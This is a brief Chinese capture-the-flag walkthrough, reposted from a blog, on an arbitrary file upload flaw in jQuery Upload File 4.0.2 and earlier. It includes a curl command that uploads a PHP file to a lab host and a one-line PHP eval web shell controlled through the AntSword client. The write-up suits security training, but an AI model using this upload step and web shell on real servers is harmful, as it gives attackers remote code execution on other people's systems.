1.漏洞描述

 jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传目录下/jquery-uploadfile

2.打开页面显示

3.准备shell.php文件,在文件目录cmd

<?php phpinfo(); ?&gt;

 4.通过crul命令上传木马文件shell.php                

curl -F "myfile=@shell.php" "http://202.194.97.206:30955/jquery-upload-file/php/upload.php"

上传成功

 5.打开文件位置正常解析php文件,拿到flag 

http://ip:port/jquery-upload-file/php/uploads/shell.php

6.测试getshell使用蚁剑连接成功

<?php @eval($_POST['cmd']);?&gt;

 

原文地址:https://blog.csdn.net/weixin_42675091/article/details/126675939

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。

如若转载,请注明出处:http://www.7code.cn/show_6433.html

如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注